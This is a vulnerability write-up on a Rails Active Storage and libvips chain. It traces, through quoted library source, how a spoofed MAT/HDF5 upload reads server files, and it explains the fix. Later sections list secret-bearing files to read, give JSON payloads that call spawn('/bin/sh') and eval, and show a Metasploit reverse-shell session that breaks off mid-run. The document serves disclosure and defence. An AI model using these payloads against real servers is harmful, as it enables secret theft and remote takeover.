ActiveStorage::BaseController
  def create
    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # &lt;-- [1]
    render json: direct_upload_json(blob)
  end

  private
    def blob_args
      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # &lt;-- [2]
    end</pre><pre language="ruby">    def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
      metadata = filter_metadata(metadata)
      create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name # &lt;-- [3]
    end</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'>, the endpoint accepts </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>content_type</span></span><span style='font-size: undefined;'> from the client. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'>, Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>unfurl</span></span><span style='font-size: undefined;'> flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Once the direct-upload blob exists, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Blob#variable?</span></span><span style='font-size: undefined;'> uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>image/png</span></span><span style='font-size: undefined;'>, so the blob falls through to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>variant</span></span><span style='font-size: undefined;'>:</span></p><p></p><pre language="ruby">  def variant(transformations)
    if variable?
      variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
    else
      raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
    end
  end

  # Returns true if the variant processor can transform the blob (its content
  # type is in +ActiveStorage.variable_content_types+).
  def variable?
    ActiveStorage.variable_content_types.include?(content_type) # &lt;-- [4]
  end</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[4]</span></span><span style='font-size: undefined;'>, Rails performs a set-membership check against the stored </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>content_type</span></span><span style='font-size: undefined;'>. No file bytes are examined. A crafted MAT/HDF5 object stored as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>image/png</span></span><span style='font-size: undefined;'> reaches the image variant pipeline.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>A genuine variation key can be replayed against another blob</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:</span></p><p></p><pre language="ruby">module ActiveStorage::SetBlob # :nodoc:
  extend ActiveSupport::Concern

  included do
    before_action :set_blob
  end

  private
    def set_blob
      @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # &lt;-- [5]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end

    def blob_scope
      ActiveStorage::Blob
    end
end</pre><pre language="ruby">class ActiveStorage::Representations::BaseController &lt; ActiveStorage::BaseController # :nodoc:
  include ActiveStorage::SetBlob

  before_action :set_representation

  private
    def blob_scope
      ActiveStorage::Blob.scope_for_strict_loading
    end

    def set_representation
      @representation = @blob.representation(params[:variation_key]).processed # &lt;-- [6]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end
end</pre><pre language="ruby">    # Returns a Variation instance with the transformations that were encoded by +encode+.
    def decode(key)
      new ActiveStorage.verifier.verify(key, purpose: :variation) # &lt;-- [7]
    end</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[5]</span></span><span style='font-size: undefined;'>, Rails verifies the blob ID. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[6]</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[7]</span></span><span style='font-size: undefined;'>, it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>variation_key</span></span><span style='font-size: undefined;'> from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>secret_key_base</span></span><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>The Vips pipeline leaves decoder selection to libvips</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Active Storage then hands the tempfile path to image_processing. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>loader(page: 0)</span></span><span style='font-size: undefined;'> call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><pre language="ruby">def process(file, format:)
  processor.
	source(file).
	loader(page: 0). # &lt;-- [8]
	convert(format).
	apply(operations). # &lt;-- [9]
	call
end
def processor
  ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
def operations
  transformations.each_with_object([]) do |(name, argument), list|
	if ActiveStorage.variant_processor == :mini_magick
	  validate_transformation(name, argument) # &lt;-- [10]
	end
	if name.to_s == "combine_options"
	  raise ArgumentError, &lt;&lt;~ERROR.squish
		Active Storage's ImageProcessing transformer doesn't support :combine_options,
		as it always generates a single command.
	  ERROR
	end
	if argument.present?
	  list &lt;&lt; [ name, argument ] # &lt;-- [11]
	end
  end
end</pre><p><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[8]</span></span><span style='font-size: undefined;'>, no decoder has been named yet. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[9]</span></span><span style='font-size: undefined;'>, Rails forwards the signed transformation list into image_processing. For RCE, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[10]</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[11]</span></span><span style='font-size: undefined;'> matter because </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>:mini_magick</span></span><span style='font-size: undefined;'> transformations pass through </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>validate_transformation</span></span><span style='font-size: undefined;'>, while Vips transformations do not receive the same method-name validation.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>In image_processing </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>1.14.0</span></span><span style='font-size: undefined;'>, the path later reaches </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Vips::Image.new_from_file</span></span><span style='font-size: undefined;'>:</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><pre language="ruby">def self.load_image(path_or_image, loader: nil, autorot: true, **options)
	if path_or_image.is_a?(::Vips::Image)
	  image = path_or_image
	else
	  path = path_or_image
	  if loader
		image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
	  else
		options = Utils.select_valid_loader_options(path, options)
		image = ::Vips::Image.new_from_file(path, **options) # &lt;-- [12]
	  end
	end
	image = image.autorot if autorot && !options.key?(:autorotate)
	image
  end</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Because </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>loader:</span></span><span style='font-size: undefined;'> remains </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>nil</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[12]</span></span><span style='font-size: undefined;'> leaves decoder selection to libvips's file sniffers.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>libvips and libmatio disagree about the MAT header</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>In libvips </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>8.16.1</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>matload</span></span><span style='font-size: undefined;'> is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="c">static void
vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
	/* ... omitted: class initialization ... */

	operation_class-&gt;flags |= VIPS_OPERATION_UNTRUSTED; // &lt;-- [13]

	foreign_class-&gt;suffs = vips__mat_suffs;

	load_class-&gt;is_a = vips__mat_ismat; // &lt;-- [14]</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The entire libvips MAT sniffer is a ten-byte prefix check:</span></p><p><span style='font-size: undefined;'></span></p><pre language="c">int
vips__mat_ismat(const char *filename)
{
	unsigned char buf[15];

	if (vips__get_bytes(filename, buf, 10) == 10 &&
		vips_isprefix("MATLAB 5.0", (char *) buf)) // &lt;-- [15]
		return 1;

	return 0;
}</pre><p><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[13]</span></span><span style='font-size: undefined;'>, libvips marks </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>matload</span></span><span style='font-size: undefined;'> as untrusted. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[14]</span></span><span style='font-size: undefined;'>, it registers </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vips__mat_ismat</span></span><span style='font-size: undefined;'> as the loader's sniffer. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[15]</span></span><span style='font-size: undefined;'>, a file only needs to begin with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MATLAB 5.0</span></span><span style='font-size: undefined;'> for libvips to select </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>matload</span></span><span style='font-size: undefined;'>. A genuine MAT 7.3 file begins with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MATLAB 7.3 MAT-file</span></span><span style='font-size: undefined;'>, so it fails this check.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>In libmatio </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>1.5.28</span></span><span style='font-size: undefined;'>, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:</span></p><p></p><pre language="c">enum mat_ft
{
    MAT_FT_MAT73 = 0x0200, /**&lt; @brief Matlab version 7.3 file */ // &lt;-- [16]
    MAT_FT_MAT5 = 0x0100,  /**&lt; @brief Matlab version 5 file   */
    MAT_FT_MAT4 = 0x0010,  /**&lt; @brief Matlab version 4 file   */
    MAT_FT_UNDEFINED = 0   /**&lt; @brief Undefined version       */
};</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[16]</span></span><span style='font-size: undefined;'>, libmatio defines </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>0x0200</span></span><span style='font-size: undefined;'> as the MAT 7.3 format identifier.</span></p><p></p><pre language="c">Mat_Open(const char *matname, int mode)
{
    FILE *fp = NULL;
    mat_int16_t tmp, tmp2;
    mat_t *mat = NULL;
    size_t bytesread = 0;

    /* ... omitted: file opening and allocation ... */

    bytesread += fread(mat-&gt;header, 1, 116, fp);
    mat-&gt;header[116] = '\0';
    bytesread += fread(mat-&gt;subsys_offset, 1, 8, fp);
    bytesread += 2 * fread(&tmp2, 2, 1, fp);
    bytesread += fread(&tmp, 1, 2, fp);

    if ( 128 == bytesread ) {
        /* v5 and v7.3 files have at least 128 byte header */
        mat-&gt;byteswap = -1;
        if ( tmp == 0x4d49 )
            mat-&gt;byteswap = 0;
        else if ( tmp == 0x494d ) {
            mat-&gt;byteswap = 1;
            Mat_int16Swap(&tmp2);
        }

        mat-&gt;version = (int)tmp2; // &lt;-- [17]
        if ( (mat-&gt;version == 0x0100 || mat-&gt;version == 0x0200) && -1 != mat-&gt;byteswap ) {
            mat-&gt;bof = ftello((FILE *)mat-&gt;fp);
            if ( mat-&gt;bof == -1L ) {
                free(mat-&gt;header);
                free(mat-&gt;subsys_offset);
                free(mat);
                fclose(fp);
                Mat_Critical("Couldn't determine file position");
                return NULL;
            }
            mat-&gt;next_index = 0;
        } else {
            mat-&gt;version = 0;
        }
    }</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[17]</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Mat_Open</span></span><span style='font-size: undefined;'> stores the two-byte version field read from bytes 124 and 125 in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>mat-&gt;version</span></span><span style='font-size: undefined;'>. This is separate from the descriptive text that libvips already accepted at the beginning of the file.</span></p><p></p><pre language="c">static int
ReadData(mat_t *mat, matvar_t *matvar)
{
    if ( mat == NULL || matvar == NULL || mat-&gt;fp == NULL )
        return MATIO_E_BAD_ARGUMENT;
    else if ( mat-&gt;version == MAT_FT_MAT5 )
        return Mat_VarRead5(mat, matvar);
#if defined(MAT73) && MAT73
    else if ( mat-&gt;version == MAT_FT_MAT73 )
        return Mat_VarRead73(mat, matvar); // &lt;-- [18]
#endif
    else if ( mat-&gt;version == MAT_FT_MAT4 )
        return Mat_VarRead4(mat, matvar);
    return MATIO_E_FAIL_TO_IDENTIFY;
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[18]</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ReadData</span></span><span style='font-size: undefined;'> dispatches </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAT_FT_MAT73</span></span><span style='font-size: undefined;'> into the HDF5-backed reader. A crafted file can therefore say </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MATLAB 5.0</span></span><span style='font-size: undefined;'> to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:</span></p><p></p><pre language="c">static int
Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space, int isComplex, void *data)
{
    herr_t herr;

    if ( !isComplex ) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space, H5P_DEFAULT, data); // &lt;-- [19]
        if ( herr &lt; 0 ) {
            return MATIO_E_GENERIC_READ_ERROR;
        }</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[19]</span></span><span style='font-size: undefined;'>, this read path does not check </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>H5Pget_external_count()</span></span><span style='font-size: undefined;'>. HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable's data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MATLAB 5.0</span></span><span style='font-size: undefined;'> at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Why variants are not required</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Vips::Image.new_from_file</span></span><span style='font-size: undefined;'> during image analysis after a blob is attached. Rails's forensic repository documents a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MATLAB_empty</span></span><span style='font-size: undefined;'> variant in which libmatio reads external bytes while deriving an empty array's dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Why the patch works</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The relevant </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>v8.0.5</span></span><span style='font-size: undefined;'> to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>v8.0.5.1</span></span><span style='font-size: undefined;'> diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:</span></p><p></p><pre language="diff">diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+  begin
+    # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+    # before the lines below. Leaving it to load later, when the transformer first asks for it,
+    # would disable the loaders again after an application's initializers had re-enabled them.
+    require "image_processing/vips"
+  rescue LoadError
+    # image_processing is only needed to generate variants, not to analyze blobs.
+  end
+
+  unless Vips.respond_to?(:block_untrusted) # &lt;-- [20]
+    raise &lt;&lt;~ERROR.squish
+      libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+      cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+      later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+    ERROR
+  end
+
+  Vips.block_untrusted(true) # &lt;-- [21]
+end</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Active Storage's engine loads the Vips analyzer during initialization, so the new </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>require "active_storage/vips"</span></span><span style='font-size: undefined;'> runs during boot rather than waiting for a later representation request. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[20]</span></span><span style='font-size: undefined;'>, patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[21]</span></span><span style='font-size: undefined;'>, it blocks those operations globally. Because </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>matload</span></span><span style='font-size: undefined;'> is marked </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>VIPS_OPERATION_UNTRUSTED</span></span><span style='font-size: undefined;'>, libvips skips it before the crafted file can reach libmatio.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>From file read to code execution</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The file read can recover arbitrary files readable by the Rails worker. On Linux, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/proc/self/environ</span></span><span style='font-size: undefined;'> is a useful first target because it may contain </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SECRET_KEY_BASE</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RAILS_MASTER_KEY</span></span><span style='font-size: undefined;'>, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/proc/self/environ</span></span><span style='font-size: undefined;'> will miss applications that keep </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>secret_key_base</span></span><span style='font-size: undefined;'> in encrypted credentials or legacy </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>secrets.yml</span></span><span style='font-size: undefined;'> files. Useful read targets in those cases include </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>config/master.key</span></span><span style='font-size: undefined;'>, encrypted credential files, and legacy </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>secrets.yml</span></span><span style='font-size: undefined;'> paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Once an attacker has recovered </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>secret_key_base</span></span><span style='font-size: undefined;'> and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack's write-up uses </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>instance_eval</span></span><span style='font-size: undefined;'> for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:</span></p><p></p><pre language="json">{"send":["spawn","/bin/sh","-c","id"]}
{"send":["eval","File.write('/tmp/kr2s', %x{id})"]}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>In image_processing </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>1.14.0</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Chainable#apply</span></span><span style='font-size: undefined;'> invokes the attacker-controlled transformation name on the builder:</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><pre language="ruby">def apply(operations)
  operations.inject(self) do |builder, (name, argument)|
	if argument == true || argument == nil
	  builder.public_send(name)
	elsif argument.is_a?(Array)
	  builder.public_send(name, *argument) # &lt;-- [22]
	elsif argument.is_a?(Hash)
	  builder.public_send(name, **argument)
	else
	  builder.public_send(name, argument)
	end
  end
end</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[22]</span></span><span style='font-size: undefined;'>, a transformation named </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>send</span></span><span style='font-size: undefined;'> reaches the builder's public </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>send</span></span><span style='font-size: undefined;'> method. The first array element becomes a second method dispatch, which can invoke private </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Kernel#spawn</span></span><span style='font-size: undefined;'> or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Kernel#eval</span></span><span style='font-size: undefined;'>. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>spawn</span></span><span style='font-size: undefined;'> or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>eval</span></span><span style='font-size: undefined;'> returns a non-builder value after the payload has already executed.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>This RCE path does not depend on a Marshal object gadget. We validated it against Rails </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>8.0.5</span></span><span style='font-size: undefined;'> configured with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>config.active_support.message_serializer = :json</span></span><span style='font-size: undefined;'>. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Hash</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Array</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>String</span></span><span style='font-size: undefined;'> structure rather than a deserialization gadget.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request </span><a href="https://github.com/rails/rails/pull/56995"><span style='font-size: undefined;'>rails/rails#56995</span></a><span style='font-size: undefined;'> discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.</span></p><h2 style="direction: ltr;">Exploitation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Our </span><a href="https://github.com/rapid7/metasploit-framework/pull/21733" target="_self"><span style='font-size: undefined;'>Metasploit module</span></a><span style='font-size: undefined;'> follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/proc/version</span></span><span style='font-size: undefined;'>, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>send/spawn</span></span><span style='font-size: undefined;'> for command payloads or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>send/eval</span></span><span style='font-size: undefined;'> for native Ruby payloads.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The module uses the returned PNG representation instead of the narrower </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MATLAB_empty</span></span><span style='font-size: undefined;'> metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MATLAB_empty</span></span><span style='font-size: undefined;'>, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>send/spawn</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>send/eval</span></span><span style='font-size: undefined;'>, which fit Metasploit command and Ruby payloads directly.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>In the lab run below, the representation used by the module resized the image, so the module selected a 20x20 sharpened text-read layout and recovered 180 bytes per request. It then recovered </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SECRET_KEY_BASE</span></span><span style='font-size: undefined;'> from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/proc/self/environ</span></span><span style='font-size: undefined;'>, signed a JSON variation, and opened a shell as the Rails process user:</span></p><p></p><pre language="shell-session">msf6 &gt; use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) &gt; set RHOSTS 127.0.0.1
RHOSTS =&gt; 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) &gt; set RPORT 3003
RPORT =&gt; 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) &gt; set LHOST 172.17.0.1
LHOST =&gt; 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) &gt; run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
